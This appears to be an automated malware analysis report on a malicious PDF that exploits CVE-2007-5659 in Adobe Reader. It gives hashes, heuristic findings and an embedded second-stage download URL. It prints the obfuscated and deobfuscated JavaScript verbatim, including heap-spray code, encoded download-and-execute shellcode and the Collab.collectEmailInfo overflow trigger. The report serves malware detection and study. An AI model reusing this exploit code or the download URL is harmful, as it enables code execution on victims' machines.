Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ba43975473e67c1…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: 7a6ff4fa38a77308bcfe74f261155b48 SHA-1: d93a892f36e15f5b83d359a7e614b59239ee2181 SHA-256: 7ba43975473e67c103546a4e7c6bb74443446c26550cc1358b047c7469a53164
290 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits CVE-2007-5659 (Collab.collectEmailInfo) in Adobe Reader. The deobfuscated JavaScript contains a URL that is used to download a second-stage payload. This indicates a clear intent to execute arbitrary code on the victim's machine.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/exp/load.php?id=1518&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js
67cfd4f11362db29645c328a95f4127367bd6aa929894438e00ec2a05d98e0c3		 pdf-javascript-stream PDF /JS object 13 at offset 0x365 6266 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fi0Pq4h(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function Yy1yavXRDhwFE(MmS2FxX){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(MmS2FxX)"+";"+"}");eval("function mMTlfdH5Z1ms2(wdvh8L7){var GSVVyCQC1ocWU="+"0,PVcos3V=wdvh8L7.l"+"en"+"gth,RLeY7=10"+"2"+"4,hOOlOB,Fut4qaBCh,HCiI6lnNq='',hPFMb=GSVVyCQC1ocWU,vM3v1SquWhVh=GSVVyCQC1ocWU,PnOQWgV=GSVVyCQC1ocWU,Zt0cvYrHA=Ar"+"ra"+"y(63,39,22,19,36,32,21,23,11,2,0,0,0,0,0,0,38,4,8,1,24,16,48,18,30,60,61,3,13,34,52,31,10,12,55,7,43,0,51,40,35,27,56,0,0,0,0,15,0,58,59,46,45,41,62,28,14,33,9,53,44,37,20,57,49,54,50,42,6,25,5,26,29,17,47);f"+"o"+"r(Fut4qaBCh=M"+"at"+"h.c"+"ei"+"l(PVcos3V/"+"RLeY7)"+";Fut4qaBCh>GSVVyCQC1ocWU;Fut4qaBCh-"+"-){fo"+"r(hOOlOB=Ma"+"th.m"+"in(PVcos3V,RLeY7);hOOlOB>GSVVyCQC1ocWU;hOOlOB-"+"-,PVcos3V-"+"-){PnOQWgV|"+"=(Zt0cvYrHA[wdvh8L7.cha"+"rCod"+"eAt(hPFMb+"+"+)-48])<"+"<vM3v1SquWhVh;if(vM3v1SquWhVh){HCiI6lnNq+"+"=Yy1yavXRDhwFE"+"(14^PnOQWgV&"+"2"+"5"+"5);PnOQWgV>"+">="+"8;vM3v1SquWhVh-"+"="+"2;}el"+"se{vM3v1SquWhVh="+"6"+";}}"+"}return (HCiI6lnNq);}var zXWxY=implode('',['c','5','RY','I','or2Tx','n2f','uX8VZ9DTm18','_','p','SOzx1j','1nX8WdS','DdeRuiC@8bp6y0p16Rn4GN','imjZd','@hMmR','D','MZGwsxRh8','mVu2xM8ko','GH@x','@DToMj','Zd','@hM','mRD','5Bqw5m@H@y9_r4@wRd','VGog','@6','1nS','HTeXDoL@8mQX8Zd@hM','mRDkQ18Zd@hMmR','DcQ','X8Zd@hMmRD5NRHlk1','HIxtDeu','M','_M','4@w','RdVGo','g@','6','iF','VjkZ9O','TeR','HIC@','8Z','d@hMmRDkZrgc5','qH5k','@H1vt','DcZkwIIn','h9','JVx','axXj1ZG','xc5','RYIoG3RAtxj','em8VZM_qo3','Y','fN@_do3','Yk','Z9Hz','p','1','87ok','O','oL@8','VZr','H','5d2Od','J','@OTu9','8','Tl1hJW','3_Tl','1hJW3_Tl1','hJW3_Tl1_BdA3Tl','7_JlK3TlShZNNLTl','1LfFNLTl','1LfZV_TlRG','Bk','3_TlR','GI','W','3_Tl','RGQ','iN3T','lRG','qZV','hTlSGBdn3TlSGBiAGTl1LQm','K','GTl1GB','eVGTl','RGBdA','GTlShalAGT','lRGJIAGTl','RL','BiXhTl1hI5n_TlRLB','iXhTlS','h8dnhTlRGBo3','_TlRGBdA3TlS','halAGTl','S3','RZ3_TlSh0D3hTlRG0IN_Tl1_oZ3_','TlRGBJV_Tl','RGBdA','GTlR','3_iKhTlS3RlA3Tl7hoD','3','hTlS','hbIV','_Tl1_olN_','TlRGBJK','G','TlRGBdAGTlR3_iK','hTlS','3Rlnh','Tl73_u3hTlR_flKGTl','1_','oF','XGTlRGBoXG','T','lRG','Bd','AGTlR','3_iKh','TlS3','Rl','n_Tl1_','fD3hTl1_BpV_Tl1','_oDKGTl','RG','BkK3TlR','G','BdAGTlR3','_iKhTlS','3','R5AGT','lS_8u3h','Tl1__xKhTl1_o','l3hTlRGBpVL','T','lRGB','dAGTlR','3_i','KhTlR3BiA3Tl1Go5KG','T','lRL_p33T','l','ShZIVhTl','SGoIN','3T','lRG','qZKhTlRGB','dN','GTlS30lAG','TlRL_iKh','TlShaNA3T','lRGQJN3TlRG8uVhTlShaFAhTlS','GoF','N3Tl1_oFNLTlR','G','Bi','XhTlRGBdA','GTl1L','oFAGTlSGbWN','LTlRLBk4_Tl7h','q','Z3h','T','lRGBdAGTlShZlA','GTl','SGJIN3TlS_','_','iXhTlS_B','i33TlShZFA','GTl73BJN3TlR_fD3hTlRG','BdAGTlS3BdAGTlR3','_i','XhTl1Lb5A3T','lS3','Zl4','GTlS3','_iX','h','Tl1_o5n','hTlR','GBu','VGTlR','GBdAGT','lR3_d','n3','T','lS_q','NA','G','TlS3','JlAG','Tl73','0gV_','Tl','S_qD','V3TlR','G','QJAGTl1L_x3hTlRGBdA','GTlRL_JX_TlSha','NAGTlRGJIN','3Tl','RG8','uVhTlShaF','Ah','TlSGoFN3T','lR3','Bo3hTlRGBd','AGTl1LblAGT','l','S','3ol4','L','TlR3','_','dn3Tl1G','LkA3T','l','S3LkXhTlR','_fFn','3Tl7','3','B','xV','3TlS3L','pA','GTlR','3_iXhTl1Lb','5n_TlS3','ZlN3T','lS3_','i','XhT','l','1_o','5nhTlRGBkn3Tl','RGB','dAGTlRGBuVhT','lRL_','JX_TlShaNAGTlRGo','IN3TlRGPuVhTlShaFAhTlS','GoFN3T','lSGBo3h','TlR','GB','d','AGT','l1LblAGTlShaI','X_TlSGBJN','3','TlRG','8uVhTlShaFAhTlSGoFN3TlRGBo','3h','Tl','RGBdAGTlR3','8dAGTlS3Pp4','hTl','1_8dn3','Tl','1_8dn3Tl1_8d','n3Tl1_8dn','3Tl1_J533','TlS3blA3TlShaF','n3Tl','1_P','kVh','TlS3PJX','LTl1_BJX_TlSha','F','N','3TlShaZ3_','TlRGogK_TlS','3I','5XhTlS3Rln_','Tl','RL','L','iXhTlShaWn_Tl','SG0gK3TlRGLx3hTlS3RI','33T','lR','LR5','XhTlRGLkAG','T','l1GLJ33Tl','R3ZFKhTl1hIINGTlS_L','dn3Tl1GLpNLT','l','R','GfIVLTl','SGBdV_TlR','_Pe','N','hTlRGogK3T','lS_0FVGTlR','GLdA_','TlR3BJ','X','G','TlR','_8oXhTlR','_0W','4hT','lRL_pN_TlS3b','ZV3','Tl1','_a5','Xh','TlS3b','5X','hT','lR','GLk','A3T','l1LR','NK_TlRGJ5','XhT','lShaI4hTlSGJFNhTl7_Il','n3T','lRGQiX','hTlRGLiXhT','lS30FV3Tl','S_PpA_Tl','R','GBdnhT','lR_Qo3hTl','R_fIV_TlS3_J','X_Tl','R'
... (truncated)
generic_stage_recovery_000.js
e352dbffadc6f590796d0d082c34bf764b8c9a44e31dfe6bb16886a975b51004		 deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x365 2533 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var UeIWp8 = new Array(); function uRKqrX9KDzV(ve4lwm, gdy5E7iX) { while (ve4lwm.length*2<gdy5E7iX){ve4lwm += ve4lwm;} ve4lwm = ve4lwm.substring(0,gdy5E7iX/2); return ve4lwm; } function Pe2A7L1yt9() { var C9ozGT = 0x0c0c0c0c; var YPqwm = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u6469%u313D%u3135%u2638%u7073%u3D6C%u0034"); var nRH1Z61qY4sytp = 0x400000; var Pjc5kBKO = YPqwm.length * 2; var gdy5E7iX = nRH1Z61qY4sytp - (Pjc5kBKO+0x38); var ve4lwm = unescape("%u9090%u9090"); ve4lwm = uRKqrX9KDzV(ve4lwm, gdy5E7iX); var y4aF5sD = (C9ozGT - 0x400000)/nRH1Z61qY4sytp; for (var zqh1ZFd8ufH11I=0;zqh1ZFd8ufH11I<y4aF5sD;zqh1ZFd8ufH11I++) { UeIWp8[zqh1ZFd8ufH11I] = ve4lwm + YPqwm; } } function CVytbyjA() { var l0wQuJAWOvi = app.viewerVersion.toString(); l0wQuJAWOvi = l0wQuJAWOvi.replace(/\D/g,""); var V2xNbCRU = new Array(l0wQuJAWOvi.charAt(0),l0wQuJAWOvi.charAt(1),l0wQuJAWOvi.charAt(2)); if ((V2xNbCRU[0] == 8 && ((V2xNbCRU[1] == 1 && V2xNbCRU[2] < 2) || V2xNbCRU[1] < 1)) || (V2xNbCRU[0] == 7 && V2xNbCRU[1] < 1) || (V2xNbCRU[0] < 7)) { Pe2A7L1yt9(); var VnvOhWNQh = unescape("%u0c0c%u0c0c"); while(VnvOhWNQh.length < 44952) VnvOhWNQh += VnvOhWNQh; this.collabStore = Collab.collectEmailInfo({subj: "",msg: VnvOhWNQh}); } } CVytbyjA();

Open this report in the interactive analyzer, or submit your own file for analysis.